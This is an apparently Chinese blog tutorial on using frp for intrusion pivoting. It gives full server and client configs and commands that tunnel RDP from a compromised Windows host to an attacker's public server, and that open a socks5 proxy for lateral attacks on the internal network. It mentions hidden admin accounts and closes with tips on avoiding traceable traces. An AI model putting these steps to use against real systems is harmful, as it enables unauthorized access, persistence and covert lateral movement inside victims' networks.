frp用于内网转发

frp用于内网的代理转发

frp

frp是一个常见的内网穿透工具。内网穿透,即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。

UDP 内网穿透的实质是利用路由器上的NAT 系统。NAT 是一种将私有(保留)地址转化为合法IP地址的转换技术,它被广泛应用于各种类型 Internet 接入方式和各种类型的网络中。NAT可以完成重用地址,并且对于内部的网络结构可以实现对外隐蔽。

而在内网中,面对内网中不出网的机器,攻击者在外网无法直接访问到,通过frp进行代理,即可实现直接访问。

frp的工作模式

frp支持很多种协议,包括tcp、udp、http、https、socks等等,当然也可以实现端口对端口的转发。

frp分为客户端和服务器端,对应于不同的系统平台有不同的版本,但是名字都以frps和frpc进行区分,对应的配置文件有两种,分别是精简版和详细版配置文件:

1

一般启用精简配置文件就可以。

下面以两个典型为例:

端口对端口转发

以互联网边界的某台windows为例,它的3389端口无法直接被访问到(可能是有网络策略或者防火墙策略),如果拿到了该windows的管理员权限,新增了隐藏账户,但是无法远程连接进行操作时,就可以采用端口对端口的转发,将该windows的3389端口转发到某台公网服务器的任意端口。

以下是操作步骤:

在有公网IP的服务器上修改frps.ini配置文件:

1
2
3
4
5
bind_port = 7000  #此端口提供给目标windwos,该windows通过这个端口将其3389端口转发出来

dashboard_port=7503 #这个是frp的日志系统,设置好开放的端口及用户名密码后,访问该端口可以查看相关的流量转发情况
dashboard_user=adm1n1
dashboard_pwd=admin0701

修改好后,启动frps服务,用 -c 指定配置文件:

1
./frps -c frps.ini

以上完成后,服务器端的准备已经完成。

在windows机器上下载好frp后,修改frpc.ini配置文件:

1
2
3
4
5
6
7
8
9
10
[common]
server_addr = 39.XXX.XXX.XXX #公网服务器的IP
server_port = 7000 #在frps.ini文件中服务器提供的端口

[3389] #这个名字可以任取
type = tcp #指定协议
local_ip = 127.0.0.1
local_port = 3389 #指定本机待转发的端口
remote_port = 3389 #指定转发到公网服务器上的端口,不一定要是3389,其他端口亦可以

修改好后,启动frpc服务,用 -c 指定配置文件:

1
./frpc -c frpc.ini

完成后,访问公网服务器的IP:3389即可访问到目标windows的3389端口。

socks5转发

在获取了互联网边界的机器的权限后,我们想要对其内网进行横向攻击,此时需借助这台互联网边界的机器,将我们的所有流量转发至其内网当中,需要用到的工具有frp和proxifier。

在我们的公网服务器上修改frps.ini配置文件:

1
2
3
4
5
bind_port = 7001  #此端口提供给目标windwos,我们的流量将通过该端口,从公网服务器转发到目标windows,进而转发至内网

dashboard_port=7504 #这个是frp的日志系统,设置好开放的端口及用户名密码后,访问该端口可以查看相关的流量转发情况
dashboard_user=adm1n1
dashboard_pwd=admin0701

配置文件和端对端转发类似,实际上都只是提供一个端口用于服务器和目标windows流量传输。

修改好后,启动frps服务,用 -c 指定配置文件:

1
./frps -c frps.ini

以上完成后,服务器端的准备已经完成。

在目标windows上修改配置文件frpc.ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
[common]
server_addr = 39.xxx.xxx.xxx
server_port = 7001
tls_enable = true
pool_count = 5
[plugin_socks]
type = tcp
remote_port = 46075 #设置在公网服务器上对外开放的代理端口
plugin = socks5 #指定socks5模块
plugin_user = admin #socks5认证信息
plugin_passwd = 112233admin #socks5认证信息
use_encryption = true
use_compression = true

修改好后,启动frpc服务,用 -c 指定配置文件:

1
./frpc -c frpc.ini

此时,在我们的个人PC上,使用proxifier走socks5://admin:112233admin@39.xxx.xxx.xxx:46075的代理,即可访问到windows所在的内网环境。

注意要避免自己PC上其他应用的流量也走代理进入内网,从而留下可能被溯源的痕迹。

最后感谢鑫总的指点。